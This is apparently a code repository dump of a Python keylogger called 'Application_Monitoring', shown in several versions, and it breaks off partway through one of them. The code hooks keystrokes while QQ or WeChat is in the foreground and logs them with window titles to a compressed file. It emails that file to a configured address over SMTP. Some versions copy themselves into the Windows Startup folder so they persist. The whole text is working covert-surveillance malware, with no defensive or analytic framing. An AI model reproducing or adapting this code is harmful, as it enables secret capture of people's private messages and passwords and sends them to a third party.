├── Application_Monitoring_v3.0.py ├── History ├── Application_Monitoring_v1.0.py ├── Application_Monitoring_v2.0.py ├── Application_Monitoring_v2.1.py ├── Application_Monitoring_v2.2.py ├── Application_Monitoring_v2.3.py ├── Application_Monitoring_v2.4.py ├── README.md ├── Read_Old.py ├── Read_Old2.py └── Read_Old3.py ├── LICENSE ├── Package_tool.py ├── README.en.md ├── README.md └── Read.py /Application_Monitoring_v3.0.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import zlib 4 | import time 5 | from collections import defaultdict 6 | import keyboard 7 | import psutil 8 | import win32gui 9 | import win32process 10 | import smtplib 11 | from email.mime.text import MIMEText 12 | from email.mime.multipart import MIMEMultipart 13 | from email.mime.base import MIMEBase 14 | from email import encoders 15 | import threading 16 | import queue 17 | import atexit 18 | import random 19 | import tkinter as tk 20 | import sys 21 | 22 | # Configuration 23 | TARGET_APPS = ["WeChat", "QQ"] # Modify for easier testing, e.g., Notepad 24 | from_addr = "your_email@example.com" 25 | to_addr = "recipient_email@example.com" 26 | password = "your_email_password_or_smtp_token" 27 | compressed_file = "D:\\key_data.bin" 28 | interval_time = 86400 # 24 hours in seconds 29 | 30 | # Global variables 31 | current_window_title = None 32 | key_buffer = [] 33 | MERGE_INTERVAL = 10 # 10 seconds merge interval 34 | is_target_app_active = False 35 | current_app_name = "Unknown" 36 | data_queue = queue.Queue() 37 | save_queue = queue.Queue() 38 | email_queue = queue.Queue() 39 | window_check_interval = 0.1 40 | process_update_interval = 0.5 41 | app_pids = defaultdict(list) 42 | 43 | # 自启动功能 44 | def enable_startup(): 45 | startup_dir = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') 46 | 47 | # 获取当前执行文件的路径,无论是 .py 还是 .exe 48 | if getattr(sys, 'frozen', False): 49 | # 如果程序是通过 PyInstaller 打包的,'frozen' 属性会存在,指向 .exe 文件 50 | script_path = sys.executable 51 | else: 52 | # 否则,使用当前 .py 文件路径 53 | script_path = os.path.abspath(__file__) 54 | 55 | script_name = os.path.basename(script_path) 56 | startup_path = os.path.join(startup_dir, script_name) 57 | 58 | if not os.path.exists(startup_path): 59 | shutil.copyfile(script_path, startup_path) 60 | 61 | # 发送邮件功能 62 | def send_email(subject, attachment_path): 63 | msg = MIMEMultipart() 64 | msg['From'] = from_addr 65 | msg['To'] = to_addr 66 | msg['Subject'] = subject 67 | 68 | with open(attachment_path, "rb") as attachment: 69 | part = MIMEBase("application", "octet-stream") 70 | part.set_payload(attachment.read()) 71 | 72 | encoders.encode_base64(part) 73 | part.add_header("Content-Disposition", f"attachment; filename= {os.path.basename(attachment_path)}") 74 | msg.attach(part) 75 | 76 | try: 77 | server = smtplib.SMTP_SSL('smtp.qq.com', 465) 78 | server.login(from_addr, password) 79 | server.sendmail(from_addr, to_addr, msg.as_string()) 80 | server.close() 81 | except Exception as e: 82 | pass 83 | 84 | def email_thread(): 85 | while True: 86 | try: 87 | subject, attachment_path = email_queue.get() 88 | send_email(subject, attachment_path) 89 | email_queue.task_done() 90 | except Exception as e: 91 | pass 92 | 93 | # 检查并发送邮件 94 | def check_and_send_email(): 95 | if os.path.exists(compressed_file): 96 | last_mod_time = os.path.getmtime(compressed_file) 97 | current_time = time.time() 98 | if current_time - last_mod_time > interval_time: 99 | subject = f'{time.strftime("%Y/%m/%d的记录", time.localtime(last_mod_time))}' 100 | email_queue.put((subject, compressed_file)) 101 | 102 | def save_compressed_file(app_name, window_title, key_data): 103 | global compressed_file 104 | 105 | if not key_data: 106 | return 107 | 108 | existing_data = bytearray() 109 | if os.path.exists(compressed_file): 110 | with open(compressed_file, 'rb') as file: 111 | compressed_data = file.read() 112 | if compressed_data: 113 | try: 114 | existing_data = bytearray(zlib.decompress(compressed_data)) 115 | except zlib.error: 116 | existing_data = bytearray() 117 | 118 | raw_data = existing_data 119 | 120 | # Remove .exe from app_name 121 | app_name = app_name.rsplit('.exe', 1)[0] 122 | 123 | full_title = f"{app_name}: {window_title}" 124 | for key_name, count, timestamp in key_data: 125 | raw_data.append(1) 126 | title_bytes = full_title.encode('utf-8') 127 | raw_data.extend(struct.pack('I', len(title_bytes))) 128 | raw_data.extend(title_bytes) 129 | key_bytes = key_name.encode('utf-8') 130 | raw_data.extend(struct.pack('I', len(key_bytes))) 131 | raw_data.extend(key_bytes) 132 | raw_data.extend(struct.pack('I', count)) 133 | raw_data.extend(struct.pack('': 0x3E, '?': 0x3F, '|': 0x7C, 54 | '~': 0x7E, '《': 0x300A, '》': 0x300B, '?': 0xFF1F, 55 | ':': 0xFF1A, '“': 0x201C, '”': 0x201D, '{': 0xFF5B, 56 | '}': 0xFF5D, '——': 0x2014, '+': 0x2B, '~': 0x7E, 57 | '!': 0xFF01, '¥': 0xFFE5, '%': 0xFF05, '…': 0x2026, 58 | '&': 0xFF06, '*': 0xFF0A, '(': 0xFF08, ')': 0xFF09, 59 | 60 | # 导航键 61 | 'insert': 0x90, 'delete': 0x91, 'home': 0x92, 'end': 0x93, 62 | 'page_up': 0x94, 'page_down': 0x95, 'arrow_up': 0x96, 63 | 'arrow_down': 0x97, 'arrow_left': 0x98, 'arrow_right': 0x99, 64 | 65 | # 小键盘其他键 66 | 'numpad_decimal': 0x6E, 'numpad_add': 0x6B, 67 | 'numpad_subtract': 0x6D, 'numpad_multiply': 0x6A, 'numpad_divide': 0x6F, 68 | 69 | # 其他可能的按键 70 | 'print_screen': 0x9A, 'pause': 0x9B, 'menu': 0x9C, 'windows': 0x9D 71 | } 72 | 73 | # 全局变量声明 74 | last_key = None 75 | key_counter = {} 76 | window_title_dict = {} 77 | window_title_index = 0 78 | recorded_data = [] 79 | current_window_title = None 80 | 81 | def send_email(filepath, subject_date): 82 | msg = MIMEMultipart() 83 | msg['From'] = from_addr 84 | msg['To'] = to_addr 85 | msg['Subject'] = f"{subject_date}的记录" 86 | 87 | filename = os.path.basename(filepath) 88 | with open(filepath, "rb") as attachment: 89 | part = MIMEBase('application', 'octet-stream') 90 | part.set_payload(attachment.read()) 91 | encoders.encode_base64(part) 92 | part.add_header('Content-Disposition', f'attachment; filename={filename}') 93 | msg.attach(part) 94 | 95 | try: 96 | server = smtplib.SMTP_SSL('smtp.qq.com', 465) 97 | server.login(from_addr, password) 98 | server.sendmail(from_addr, to_addr, msg.as_string()) 99 | server.quit() 100 | print("邮件发送成功!") 101 | except Exception as e: 102 | print(f"邮件发送失败: {e}") 103 | 104 | def check_time_and_send_email(): 105 | if not os.path.exists(compressed_file): 106 | return False 107 | 108 | with open(compressed_file, 'rb') as file: 109 | compressed_data = file.read() 110 | if not compressed_data: 111 | return False 112 | 113 | raw_data = zlib.decompress(compressed_data) 114 | if len(raw_data) < 12: 115 | return False 116 | 117 | # 读取最后一列的时间戳 118 | first_timestamp = struct.unpack('d', raw_data[-8:])[0] 119 | print(f"First timestamp: {first_timestamp}") 120 | current_time = time.time() 121 | 122 | if current_time - first_timestamp >= 3600: # 24 hours in seconds 123 | subject_date = datetime.fromtimestamp(first_timestamp).strftime('%Y/%m/%d') 124 | send_email(compressed_file, subject_date) 125 | return True 126 | return False 127 | 128 | def save_compressed_file(): 129 | global window_title_dict, window_title_index, recorded_data 130 | 131 | if not recorded_data: 132 | print("No data to save") 133 | return 134 | 135 | if check_time_and_send_email(): 136 | print("24小时内,已发送邮件。覆盖写入新数据...") 137 | 138 | raw_data = bytearray() 139 | for window_title, key_name, count, timestamp in recorded_data: 140 | if window_title not in window_title_dict: 141 | window_title_dict[window_title] = window_title_index 142 | title_index = window_title_index 143 | window_title_index += 1 144 | title_encoded = True 145 | else: 146 | title_index = window_title_dict[window_title] 147 | title_encoded = False 148 | 149 | try: 150 | key_code = key_encoding[key_name] 151 | except KeyError: 152 | continue 153 | 154 | raw_data.append(title_index) 155 | if title_encoded: 156 | title_bytes = window_title.encode('utf-8') 157 | raw_data.append(len(title_bytes)) 158 | raw_data.extend(title_bytes) 159 | 160 | raw_data.append(key_code) 161 | raw_data.append(count) 162 | raw_data.extend(struct.pack('d', timestamp)) 163 | 164 | if raw_data: 165 | compressed_data = zlib.compress(raw_data) 166 | with open(compressed_file, 'wb') as file: 167 | file.write(compressed_data) 168 | print(f"Data saved successfully to {compressed_file} with window title '{current_window_title}'") 169 | 170 | recorded_data.clear() 171 | 172 | def record_last_key(): 173 | global last_key, key_counter, current_window_title 174 | if last_key and last_key in key_counter: 175 | recorded_data.append((current_window_title, last_key, key_counter[last_key]["count"], key_counter[last_key]["timestamp"])) 176 | last_key = None 177 | 178 | def on_key_event(e): 179 | global last_key, last_timer, current_window_title 180 | if e.event_type == "down": 181 | key_name = e.name 182 | timestamp = round(time.time(), 2) 183 | 184 | if key_name == last_key: 185 | key_counter[key_name]["count"] += 1 186 | else: 187 | if last_key and last_key in key_counter: 188 | record_last_key() 189 | key_counter[key_name] = {"count": 1, "timestamp": timestamp} 190 | last_key = key_name 191 | 192 | def get_qq_and_wechat_pids(): 193 | qq_pids = [] 194 | wechat_pids = [] 195 | for proc in psutil.process_iter(['pid', 'name']): 196 | if 'QQ' in proc.info['name']: 197 | qq_pids.append(proc.info['pid']) 198 | if 'WeChat' in proc.info['name']: 199 | wechat_pids.append(proc.info['pid']) 200 | return qq_pids, wechat_pids 201 | 202 | def get_foreground_window_info(): 203 | hwnd = win32gui.GetForegroundWindow() 204 | _, pid = win32process.GetWindowThreadProcessId(hwnd) 205 | title = win32gui.GetWindowText(hwnd) 206 | return pid, title 207 | 208 | def is_app_active(app_pids): 209 | fg_window_pid, fg_window_title = get_foreground_window_info() 210 | if fg_window_pid in app_pids: 211 | return True, fg_window_title 212 | return False, None 213 | 214 | def main(): 215 | global current_window_title 216 | last_state = None 217 | qq_pids, wechat_pids = get_qq_and_wechat_pids() 218 | 219 | while True: 220 | qq_active, qq_window_title = is_app_active(qq_pids) 221 | wechat_active, wechat_window_title = is_app_active(wechat_pids) 222 | 223 | if qq_active: 224 | if last_state != "QQ": 225 | if last_state == "WeChat": 226 | print(f"WeChat has gone to the background. Stopping key logging...") 227 | keyboard.unhook_all() 228 | record_last_key() 229 | save_compressed_file() 230 | key_counter.clear() 231 | current_window_title = "QQ" 232 | print("QQ is active. Starting to log keys...") 233 | keyboard.hook(on_key_event) 234 | last_state = "QQ" 235 | elif wechat_active: 236 | if last_state != "WeChat": 237 | if last_state == "QQ": 238 | print(f"QQ has gone to the background. Stopping key logging...") 239 | keyboard.unhook_all() 240 | record_last_key() 241 | save_compressed_file() 242 | key_counter.clear() 243 | current_window_title = "WeChat" 244 | print("WeChat is active. Starting to log keys...") 245 | keyboard.hook(on_key_event) 246 | last_state = "WeChat" 247 | else: 248 | if last_state in ["QQ", "WeChat"]: 249 | print(f"{current_window_title} has gone to the background. Stopping key logging...") 250 | keyboard.unhook_all() 251 | record_last_key() # 记录最后一个按键 252 | save_compressed_file() # 保存所有数据 253 | key_counter.clear() # 清空按键计数器 254 | last_state = None 255 | 256 | time.sleep(0.5) # 每秒检测一次,可以根据需要调整检测频率 257 | 258 | if __name__ == "__main__": 259 | main() 260 | -------------------------------------------------------------------------------- /History/Application_Monitoring_v2.0.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import zlib 4 | import time 5 | import keyboard 6 | import threading 7 | import psutil 8 | import win32gui 9 | import win32process 10 | import smtplib 11 | from email.mime.multipart import MIMEMultipart 12 | from email.mime.base import MIMEBase 13 | from email import encoders 14 | from datetime import datetime 15 | 16 | # 发件人和收件人信息 17 | from_addr = "your_email@example.com" 18 | to_addr = "recipient_email@example.com" 19 | password = "your_email_password_or_smtp_token" 20 | compressed_file = "D:\\key_data.bin" 21 | # 添加一个应用程序列表 22 | applications = ["QQ", "WeChat"] 23 | 24 | key_encoding = { 25 | # 字母键 26 | 'a': 0x61, 'b': 0x62, 'c': 0x63, 'd': 0x64, 'e': 0x65, 27 | 'f': 0x66, 'g': 0x67, 'h': 0x68, 'i': 0x69, 'j': 0x6A, 28 | 'k': 0x6B, 'l': 0x6C, 'm': 0x6D, 'n': 0x6E, 'o': 0x6F, 29 | 'p': 0x70, 'q': 0x71, 'r': 0x72, 's': 0x73, 't': 0x74, 30 | 'u': 0x75, 'v': 0x76, 'w': 0x77, 'x': 0x78, 'y': 0x79, 31 | 'z': 0x7A, 32 | 33 | # 数字键 (统一普通数字键和小键盘数字键) 34 | '0': 0x30, '1': 0x31, '2': 0x32, '3': 0x33, '4': 0x34, 35 | '5': 0x35, '6': 0x36, '7': 0x37, '8': 0x38, '9': 0x39, 36 | 37 | # 功能键 38 | 'F1': 0x70, 'F2': 0x71, 'F3': 0x72, 'F4': 0x73, 'F5': 0x74, 39 | 'F6': 0x75, 'F7': 0x76, 'F8': 0x77, 'F9': 0x78, 'F10': 0x79, 40 | 'F11': 0x7A, 'F12': 0x7B, 41 | 42 | # 特殊字符键 43 | 'space': 0x20, 'enter': 0x0D, 'backspace': 0x08, 'tab': 0x09, 44 | 'escape': 0x1B, 'ctrl': 0x81, 'shift': 0x82, 'alt': 0x83, 45 | 'caps_lock': 0x84, 'num_lock': 0x85, 'scroll_lock': 0x86, 46 | 47 | # 符号键(含Shift修饰符的键) 48 | '-': 0x2D, '=': 0x3D, '[': 0x5B, ']': 0x5D, '\\': 0x5C, 49 | ';': 0x3B, '\'': 0x27, ',': 0x2C, '.': 0x2E, '/': 0x2F, 50 | 51 | # 需要Shift键的符号 52 | '!': 0x21, '@': 0x40, '#': 0x23, '$': 0x24, '%': 0x25, 53 | '^': 0x5E, '&': 0x26, '*': 0x2A, '(': 0x28, ')': 0x29, 54 | '_': 0x5F, '+': 0x2B, '{': 0x7B, '}': 0x7D, ':': 0x3A, 55 | '"': 0x22, '<': 0x3C, '>': 0x3E, '?': 0x3F, '|': 0x7C, 56 | '~': 0x7E, '《': 0x300A, '》': 0x300B, '?': 0xFF1F, 57 | ':': 0xFF1A, '“': 0x201C, '”': 0x201D, '{': 0xFF5B, 58 | '}': 0xFF5D, '——': 0x2014, '+': 0x2B, '~': 0x7E, 59 | '!': 0xFF01, '¥': 0xFFE5, '%': 0xFF05, '…': 0x2026, 60 | '&': 0xFF06, '*': 0xFF0A, '(': 0xFF08, ')': 0xFF09, 61 | 62 | # 导航键 63 | 'insert': 0x90, 'delete': 0x91, 'home': 0x92, 'end': 0x93, 64 | 'page_up': 0x94, 'page_down': 0x95, 'arrow_up': 0x96, 65 | 'arrow_down': 0x97, 'arrow_left': 0x98, 'arrow_right': 0x99, 66 | 67 | # 小键盘其他键 68 | 'numpad_decimal': 0x6E, 'numpad_add': 0x6B, 69 | 'numpad_subtract': 0x6D, 'numpad_multiply': 0x6A, 'numpad_divide': 0x6F, 70 | 71 | # 其他可能的按键 72 | 'print_screen': 0x9A, 'pause': 0x9B, 'menu': 0x9C, 'windows': 0x9D 73 | } 74 | 75 | # 全局变量声明 76 | last_key = None 77 | key_counter = {} 78 | window_title_dict = {} 79 | window_title_index = 0 80 | recorded_data = [] 81 | current_window_title = None 82 | 83 | def send_email(filepath, subject_date): 84 | msg = MIMEMultipart() 85 | msg['From'] = from_addr 86 | msg['To'] = to_addr 87 | msg['Subject'] = f"{subject_date}的记录" 88 | 89 | filename = os.path.basename(filepath) 90 | with open(filepath, "rb") as attachment: 91 | part = MIMEBase('application', 'octet-stream') 92 | part.set_payload(attachment.read()) 93 | encoders.encode_base64(part) 94 | part.add_header('Content-Disposition', f'attachment; filename={filename}') 95 | msg.attach(part) 96 | 97 | try: 98 | server = smtplib.SMTP_SSL('smtp.qq.com', 465) 99 | server.login(from_addr, password) 100 | server.sendmail(from_addr, to_addr, msg.as_string()) 101 | server.quit() 102 | print("邮件发送成功!") 103 | except Exception as e: 104 | print(f"邮件发送失败: {e}") 105 | 106 | def check_time_and_send_email(): 107 | if not os.path.exists(compressed_file): 108 | return False 109 | 110 | with open(compressed_file, 'rb') as file: 111 | compressed_data = file.read() 112 | if not compressed_data: 113 | return False 114 | 115 | raw_data = zlib.decompress(compressed_data) 116 | if len(raw_data) < 12: 117 | return False 118 | 119 | # 读取最后一列的时间戳 120 | first_timestamp = struct.unpack('d', raw_data[-8:])[0] 121 | print(f"First timestamp: {first_timestamp}") 122 | current_time = time.time() 123 | 124 | if current_time - first_timestamp >= 3600: # 24 hours in seconds 125 | subject_date = datetime.fromtimestamp(first_timestamp).strftime('%Y/%m/%d') 126 | send_email(compressed_file, subject_date) 127 | return True 128 | return False 129 | 130 | def save_compressed_file(): 131 | global window_title_dict, window_title_index, recorded_data 132 | 133 | if not recorded_data: 134 | print("No data to save") 135 | return 136 | 137 | if check_time_and_send_email(): 138 | print("24小时内,已发送邮件。覆盖写入新数据...") 139 | 140 | raw_data = bytearray() 141 | for window_title, key_name, count, timestamp in recorded_data: 142 | if window_title not in window_title_dict: 143 | window_title_dict[window_title] = window_title_index 144 | title_index = window_title_index 145 | window_title_index += 1 146 | title_encoded = True 147 | else: 148 | title_index = window_title_dict[window_title] 149 | title_encoded = False 150 | 151 | try: 152 | key_code = key_encoding[key_name] 153 | except KeyError: 154 | continue 155 | 156 | raw_data.append(title_index) 157 | if title_encoded: 158 | title_bytes = window_title.encode('utf-8') 159 | raw_data.append(len(title_bytes)) 160 | raw_data.extend(title_bytes) 161 | 162 | raw_data.append(key_code) 163 | raw_data.append(count) 164 | raw_data.extend(struct.pack('d', timestamp)) 165 | 166 | if raw_data: 167 | compressed_data = zlib.compress(raw_data) 168 | with open(compressed_file, 'wb') as file: 169 | file.write(compressed_data) 170 | print(f"Data saved successfully to {compressed_file} with window title '{current_window_title}'") 171 | 172 | recorded_data.clear() 173 | 174 | def record_last_key(): 175 | global last_key, key_counter, current_window_title 176 | if last_key and last_key in key_counter: 177 | recorded_data.append((current_window_title, last_key, key_counter[last_key]["count"], key_counter[last_key]["timestamp"])) 178 | last_key = None 179 | 180 | def on_key_event(e): 181 | global last_key, last_timer, current_window_title 182 | if e.event_type == "down": 183 | key_name = e.name 184 | timestamp = round(time.time(), 2) 185 | 186 | if key_name == last_key: 187 | key_counter[key_name]["count"] += 1 188 | else: 189 | if last_key and last_key in key_counter: 190 | record_last_key() 191 | key_counter[key_name] = {"count": 1, "timestamp": timestamp} 192 | last_key = key_name 193 | 194 | def get_app_pids(app_name): 195 | app_pids = [] 196 | for proc in psutil.process_iter(['pid', 'name']): 197 | if app_name in proc.info['name']: 198 | app_pids.append(proc.info['pid']) 199 | return app_pids 200 | 201 | def get_foreground_window_info(): 202 | hwnd = win32gui.GetForegroundWindow() 203 | _, pid = win32process.GetWindowThreadProcessId(hwnd) 204 | title = win32gui.GetWindowText(hwnd) 205 | return pid, title 206 | 207 | def is_app_active(app_pids): 208 | fg_window_pid, fg_window_title = get_foreground_window_info() 209 | if fg_window_pid in app_pids: 210 | return True, fg_window_title 211 | return False, None 212 | 213 | def main(): 214 | global current_window_title 215 | last_state = None 216 | app_pids_dict = {app: get_app_pids(app) for app in applications} 217 | 218 | while True: 219 | active_app = None 220 | 221 | for app, pids in app_pids_dict.items(): 222 | active, window_title = is_app_active(pids) 223 | if active: 224 | active_app = app 225 | current_window_title = app 226 | if last_state != app: 227 | if last_state: 228 | print(f"{last_state} has gone to the background. Stopping key logging...") 229 | keyboard.unhook_all() 230 | record_last_key() 231 | save_compressed_file() 232 | key_counter.clear() 233 | print(f"{app} is active. Starting to log keys...") 234 | keyboard.hook(on_key_event) 235 | last_state = app 236 | break 237 | 238 | if not active_app and last_state: 239 | print(f"{current_window_title} has gone to the background. Stopping key logging...") 240 | keyboard.unhook_all() 241 | record_last_key() 242 | save_compressed_file() 243 | key_counter.clear() 244 | last_state = None 245 | 246 | time.sleep(0.5) # 每秒检测一次,可以根据需要调整检测频率 247 | 248 | if __name__ == "__main__": 249 | main() 250 | -------------------------------------------------------------------------------- /History/Application_Monitoring_v2.1.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import zlib 4 | import time 5 | import keyboard 6 | import threading 7 | import psutil 8 | import win32gui 9 | import win32process 10 | import smtplib 11 | from email.mime.multipart import MIMEMultipart 12 | from email.mime.base import MIMEBase 13 | from email import encoders 14 | from datetime import datetime 15 | import shutil 16 | import sys 17 | import subprocess 18 | 19 | # 发件人和收件人信息 20 | from_addr = "your_email@example.com" 21 | to_addr = "recipient_email@example.com" 22 | password = "your_email_password_or_smtp_token" 23 | compressed_file = "D:\\key_data.bin" 24 | # 添加一个应用程序列表 25 | applications = ["QQ", "WeChat"] 26 | 27 | key_encoding = { 28 | # 字母键 29 | 'a': 0x61, 'b': 0x62, 'c': 0x63, 'd': 0x64, 'e': 0x65, 30 | 'f': 0x66, 'g': 0x67, 'h': 0x68, 'i': 0x69, 'j': 0x6A, 31 | 'k': 0x6B, 'l': 0x6C, 'm': 0x6D, 'n': 0x6E, 'o': 0x6F, 32 | 'p': 0x70, 'q': 0x71, 'r': 0x72, 's': 0x73, 't': 0x74, 33 | 'u': 0x75, 'v': 0x76, 'w': 0x77, 'x': 0x78, 'y': 0x79, 34 | 'z': 0x7A, 35 | 36 | # 数字键 (统一普通数字键和小键盘数字键) 37 | '0': 0x30, '1': 0x31, '2': 0x32, '3': 0x33, '4': 0x34, 38 | '5': 0x35, '6': 0x36, '7': 0x37, '8': 0x38, '9': 0x39, 39 | 40 | # 功能键 41 | 'F1': 0x70, 'F2': 0x71, 'F3': 0x72, 'F4': 0x73, 'F5': 0x74, 42 | 'F6': 0x75, 'F7': 0x76, 'F8': 0x77, 'F9': 0x78, 'F10': 0x79, 43 | 'F11': 0x7A, 'F12': 0x7B, 44 | 45 | # 特殊字符键 46 | 'space': 0x20, 'enter': 0x0D, 'backspace': 0x08, 'tab': 0x09, 47 | 'escape': 0x1B, 'ctrl': 0x81, 'shift': 0x82, 'alt': 0x83, 48 | 'caps_lock': 0x84, 'num_lock': 0x85, 'scroll_lock': 0x86, 49 | 50 | # 符号键(含Shift修饰符的键) 51 | '-': 0x2D, '=': 0x3D, '[': 0x5B, ']': 0x5D, '\\': 0x5C, 52 | ';': 0x3B, '\'': 0x27, ',': 0x2C, '.': 0x2E, '/': 0x2F, 53 | 54 | # 需要Shift键的符号 55 | '!': 0x21, '@': 0x40, '#': 0x23, '$': 0x24, '%': 0x25, 56 | '^': 0x5E, '&': 0x26, '*': 0x2A, '(': 0x28, ')': 0x29, 57 | '_': 0x5F, '+': 0x2B, '{': 0x7B, '}': 0x7D, ':': 0x3A, 58 | '"': 0x22, '<': 0x3C, '>': 0x3E, '?': 0x3F, '|': 0x7C, 59 | '~': 0x7E, '《': 0x300A, '》': 0x300B, '?': 0xFF1F, 60 | ':': 0xFF1A, '“': 0x201C, '”': 0x201D, '{': 0xFF5B, 61 | '}': 0xFF5D, '——': 0x2014, '+': 0x2B, '~': 0x7E, 62 | '!': 0xFF01, '¥': 0xFFE5, '%': 0xFF05, '…': 0x2026, 63 | '&': 0xFF06, '*': 0xFF0A, '(': 0xFF08, ')': 0xFF09, 64 | 65 | # 导航键 66 | 'insert': 0x90, 'delete': 0x91, 'home': 0x92, 'end': 0x93, 67 | 'page_up': 0x94, 'page_down': 0x95, 'arrow_up': 0x96, 68 | 'arrow_down': 0x97, 'arrow_left': 0x98, 'arrow_right': 0x99, 69 | 70 | # 小键盘其他键 71 | 'numpad_decimal': 0x6E, 'numpad_add': 0x6B, 72 | 'numpad_subtract': 0x6D, 'numpad_multiply': 0x6A, 'numpad_divide': 0x6F, 73 | 74 | # 其他可能的按键 75 | 'print_screen': 0x9A, 'pause': 0x9B, 'menu': 0x9C, 'windows': 0x9D 76 | } 77 | 78 | # 全局变量声明 79 | last_key = None 80 | key_counter = {} 81 | window_title_dict = {} 82 | window_title_index = 0 83 | recorded_data = [] 84 | current_window_title = None 85 | 86 | def send_email(filepath, subject_date): 87 | msg = MIMEMultipart() 88 | msg['From'] = from_addr 89 | msg['To'] = to_addr 90 | msg['Subject'] = f"{subject_date}的记录" 91 | 92 | filename = os.path.basename(filepath) 93 | with open(filepath, "rb") as attachment: 94 | part = MIMEBase('application', 'octet-stream') 95 | part.set_payload(attachment.read()) 96 | encoders.encode_base64(part) 97 | part.add_header('Content-Disposition', f'attachment; filename={filename}') 98 | msg.attach(part) 99 | 100 | try: 101 | server = smtplib.SMTP_SSL('smtp.qq.com', 465) 102 | server.login(from_addr, password) 103 | server.sendmail(from_addr, to_addr, msg.as_string()) 104 | server.quit() 105 | print("邮件发送成功!") 106 | except Exception as e: 107 | print(f"邮件发送失败: {e}") 108 | 109 | def check_time_and_send_email(): 110 | if not os.path.exists(compressed_file): 111 | return False 112 | 113 | with open(compressed_file, 'rb') as file: 114 | compressed_data = file.read() 115 | if not compressed_data: 116 | return False 117 | 118 | raw_data = zlib.decompress(compressed_data) 119 | if len(raw_data) < 12: 120 | return False 121 | 122 | # 读取最后一列的时间戳 123 | first_timestamp = struct.unpack('d', raw_data[-8:])[0] 124 | print(f"First timestamp: {first_timestamp}") 125 | current_time = time.time() 126 | 127 | if current_time - first_timestamp >= 3600: # 24 hours in seconds 128 | subject_date = datetime.fromtimestamp(first_timestamp).strftime('%Y/%m/%d') 129 | send_email(compressed_file, subject_date) 130 | return True 131 | return False 132 | 133 | def save_compressed_file(): 134 | global window_title_dict, window_title_index, recorded_data 135 | 136 | if not recorded_data: 137 | print("No data to save") 138 | return 139 | 140 | if check_time_and_send_email(): 141 | print("24小时内,已发送邮件。覆盖写入新数据...") 142 | 143 | raw_data = bytearray() 144 | for window_title, key_name, count, timestamp in recorded_data: 145 | if window_title not in window_title_dict: 146 | window_title_dict[window_title] = window_title_index 147 | title_index = window_title_index 148 | window_title_index += 1 149 | title_encoded = True 150 | else: 151 | title_index = window_title_dict[window_title] 152 | title_encoded = False 153 | 154 | try: 155 | key_code = key_encoding[key_name] 156 | except KeyError: 157 | continue 158 | 159 | raw_data.append(title_index) 160 | if title_encoded: 161 | title_bytes = window_title.encode('utf-8') 162 | raw_data.append(len(title_bytes)) 163 | raw_data.extend(title_bytes) 164 | 165 | raw_data.append(key_code) 166 | raw_data.append(count) 167 | raw_data.extend(struct.pack('d', timestamp)) 168 | 169 | if raw_data: 170 | compressed_data = zlib.compress(raw_data) 171 | with open(compressed_file, 'wb') as file: 172 | file.write(compressed_data) 173 | print(f"Data saved successfully to {compressed_file} with window title '{current_window_title}'") 174 | 175 | recorded_data.clear() 176 | 177 | def record_last_key(): 178 | global last_key, key_counter, current_window_title 179 | if last_key and last_key in key_counter: 180 | recorded_data.append((current_window_title, last_key, key_counter[last_key]["count"], key_counter[last_key]["timestamp"])) 181 | last_key = None 182 | 183 | def on_key_event(e): 184 | global last_key, last_timer, current_window_title 185 | if e.event_type == "down": 186 | key_name = e.name 187 | timestamp = round(time.time(), 2) 188 | 189 | if key_name == last_key: 190 | key_counter[key_name]["count"] += 1 191 | else: 192 | if last_key and last_key in key_counter: 193 | record_last_key() 194 | key_counter[key_name] = {"count": 1, "timestamp": timestamp} 195 | last_key = key_name 196 | 197 | def get_app_pids(app_name): 198 | app_pids = [] 199 | for proc in psutil.process_iter(['pid', 'name']): 200 | if app_name in proc.info['name']: 201 | app_pids.append(proc.info['pid']) 202 | return app_pids 203 | 204 | def get_foreground_window_info(): 205 | hwnd = win32gui.GetForegroundWindow() 206 | _, pid = win32process.GetWindowThreadProcessId(hwnd) 207 | title = win32gui.GetWindowText(hwnd) 208 | return pid, title 209 | 210 | def is_app_active(app_pids): 211 | fg_window_pid, fg_window_title = get_foreground_window_info() 212 | if fg_window_pid in app_pids: 213 | return True, fg_window_title 214 | return False, None 215 | 216 | def add_to_startup(): 217 | # 获取当前用户的启动文件夹路径 218 | startup_folder = os.path.join(os.getenv('APPDATA'), r'Microsoft\Windows\Start Menu\Programs\Startup') 219 | 220 | # 当前EXE文件的路径 221 | exe_path = sys.executable 222 | 223 | # 目标路径:即在启动文件夹中的路径 224 | target_path = os.path.join(startup_folder, os.path.basename(exe_path)) 225 | 226 | # 如果目标路径不存在,则复制EXE到启动文件夹 227 | if not os.path.exists(target_path): 228 | shutil.copy(exe_path, target_path) 229 | print(f'程序已添加到开机自启: {target_path}') 230 | else: 231 | print(f'程序已存在于启动文件夹中: {target_path}') 232 | 233 | def main(): 234 | add_to_startup() 235 | global current_window_title 236 | last_state = None 237 | app_pids_dict = {app: get_app_pids(app) for app in applications} 238 | 239 | while True: 240 | active_app = None 241 | 242 | for app, pids in app_pids_dict.items(): 243 | active, window_title = is_app_active(pids) 244 | if active: 245 | active_app = app 246 | current_window_title = app 247 | if last_state != app: 248 | if last_state: 249 | print(f"{last_state} has gone to the background. Stopping key logging...") 250 | keyboard.unhook_all() 251 | record_last_key() 252 | save_compressed_file() 253 | key_counter.clear() 254 | print(f"{app} is active. Starting to log keys...") 255 | keyboard.hook(on_key_event) 256 | last_state = app 257 | break 258 | 259 | if not active_app and last_state: 260 | print(f"{current_window_title} has gone to the background. Stopping key logging...") 261 | keyboard.unhook_all() 262 | record_last_key() 263 | save_compressed_file() 264 | key_counter.clear() 265 | last_state = None 266 | 267 | time.sleep(0.5) # 每秒检测一次,可以根据需要调整检测频率 268 | 269 | if __name__ == "__main__": 270 | main() 271 | -------------------------------------------------------------------------------- /History/Application_Monitoring_v2.2.py: -------------------------------------------------------------------------------- 1 | import os 2 | import struct 3 | import zlib 4 | import time 5 | from collections import defaultdict 6 | import keyboard 7 | import psutil 8 | import win32gui 9 | import win32process 10 | import smtplib 11 | from email.mime.text import MIMEText 12 | from email.mime.multipart import MIMEMultipart 13 | from email.mime.base import MIMEBase 14 | from email import encoders 15 | 16 | 17 | # 可配置的应用列表 18 | TARGET_APPS = ["WeChat", "QQ"] # 修改为更容易测试的应用,如记事本 19 | # 配置部分,方便编辑 20 | from_addr = "your_email@example.com" 21 | to_addr = 